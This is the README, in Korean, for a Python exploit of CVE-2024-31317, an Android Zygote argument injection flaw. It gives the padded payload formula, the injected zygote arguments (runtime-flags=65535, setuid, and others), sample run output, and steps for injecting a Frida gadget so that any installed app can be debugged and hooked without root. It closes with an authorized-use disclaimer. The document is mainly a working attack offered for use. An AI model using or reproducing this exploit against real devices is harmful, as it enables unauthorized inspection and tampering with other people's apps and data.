
CVE-2024-31317 디버깅 가능한 앱 익스플로잇
CVE-2024-31317 (Android Zygote Injection)을 위한 Python 기반 익스플로잇입니다. hidden_api_blacklist_exemptions 설정을 통해 악의적인 zygote 인수를 주입하여 설치된 모든 Android 앱을 디버깅 가능하게 만듭니다. 런타임 후킹을 위한 선택적 Frida gadget 주입을 포함합니다.
이 익스플로잇은 Android Zygote 프로세스의 명령어 주입 취약점을 활용하여 대상 애플리케이션을 debuggable 플래그가 활성화된 상태로 시작합니다. 이를 통해 루트 액세스나 앱의 디버그 버전 없이도 JDWP 디버깅 및 모든 앱 검사가 가능합니다.
연구 출처: Flanker의 CVE-2024-31317 분석
핵심 통찰: "ZygoteArguments의 runtime-flags 필드를 실제로 사용하여 애플리케이션의 debuggable 속성을 활성화할 수 있습니다."
runtime-flags=65535를 설정합니다.ppadb, jdwplib다음 파일들을 같은 디렉터리에 배치하세요:
├── CVE-2024-31317-Debuggable.py # Main exploit script
├── jdwplib.py # JDWP client library
├── app-debug.apk # Debuggable helper app
├── frida-gadget-android-*.so # Frida gadget (optional)
├── frida-gadget.config.so # Frida config (optional)
└── win32/adb.exe # Windows ADB binary
python CVE-2024-31317-Debuggable.py
스크립트가 매개변수 감지 모드를 선택하라는 메시지를 표시합니다:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
1단계: startSeq 추출
startSeq 값을 추출합니다.2단계: Zygote 인수 주입
runtime-flags=65535(디버깅 가능)로 빌드합니다.hidden_api_blacklist_exemptions 설정에 주입합니다.3단계: 사후 익스플로잇
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
스크립트 상단의 상수를 편집하세요:
TARGET_APP = "com.debug.configurator" # Change to your target package
DEBUG_APP = "com.debug.app" # Helper debuggable app
DEBUG_APK = "app-debug.apk" # APK file for helper app
자동 감지 모드 (권장):
pm list packages -U를 사용하여 UID를 가져옵니다.dumpsys package를 사용하여 명령어 세트와 데이터 디렉터리를 가져옵니다.하드코딩 모드:
익스플로잇이 성공하면 선택적으로 Frida gadget을 주입할 수 있습니다:
Inject Frida? (y/N): y
스크립트는 다음을 수행합니다:
frida-gadget.so를 /data/local/tmp/로 푸시합니다.run-as를 통해 앱의 데이터 디렉터리로 복사합니다.스크립트는 신뢰도 순서로 다음 브레이크포인트를 시도합니다:
상위 브레이크포인트는 자동으로 트리거되어야 합니다. 시간 초과되면 앱을 탭하여 대체 브레이크포인트를 트리거하세요.
성공적인 주입 후:
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget
# List processes
frida-ps -H 127.0.0.1:27042
익스플로잇이 성공하면 대상 앱이 디버깅이 활성화된 상태로 실행됩니다:
JDWP 디버거로 연결:
jdb -attach localhost:8701
Android Studio 디버거 사용 - 포워딩된 포트의 프로세스에 연결
Frida 사용 - 스크립트를 통해 gadget이 주입된 경우
CVE-2024-31317은 Android Zygote 프로세스의 명령어 주입 취약점입니다. 특수하게 조작된 입력으로 hidden_api_blacklist_exemptions 시스템 설정을 조작하여 앱이 시작될 때 임의의 zygote 인수를 주입할 수 있습니다.
startSeq 추출: 각 앱 실행에는 고유한 시퀀스 번호가 있습니다. 이 번호를 디버깅 가능한 앱에서 JDWP를 통해 스택 프레임 변수를 검사하여 추출합니다.
페이로드 구성: 다음을 포함하는 zygote 인수를 빌드합니다:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Enables all debug flags
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
주입: 페이로드는 Android 12+에 대한 특정 패딩으로 시스템 설정에 주입됩니다:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
트리거: 대상 앱을 강제 종료하고 다시 시작하면 주입된 인수와 디버깅 가능 플래그가 활성화된 상태로 실행됩니다.
Frida 주입은 다음과 같이 작동합니다:
Runtime.load()를 사용하여 Frida gadget 공유 라이브러리를 로드"startSeq를 가져오지 못함"
"Frida 주입 중 브레이크포인트가 적중되지 않음"
"Frida 연결 거부됨"
adb forward --listadb forward tcp:27042 tcp:27042이 도구는 교육 및 승인된 보안 연구 목적으로만 사용됩니다. 소유하고 있거나 명시적인 서면 테스트 허가를 받은 기기에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법이며 비윤리적입니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.
| 클래스 | 메서드 | 트리거 |
|---|
android.os.MessageQueue | next | 자동 - 메인 루퍼가 지속적으로 폴링 |
android.os.Binder | execTransact | 자동 - 모든 IPC/바인더 호출 |
android.app.ActivityThread | handleMessage | 자동 - 앱의 메인 핸들러 |
android.os.Handler | dispatchMessage | 자동 - 메시지 디스패치 |
android.os.Handler | handleMessage | 자동 - 메시지 처리 |
android.view.Choreographer | doFrame | 자동 - 프레임 콜백 |
android.view.View | dispatchTouchEvent | 수동 - 터치 필요 |
android.view.View | onDraw | 수동 - UI 다시 그리기 필요 |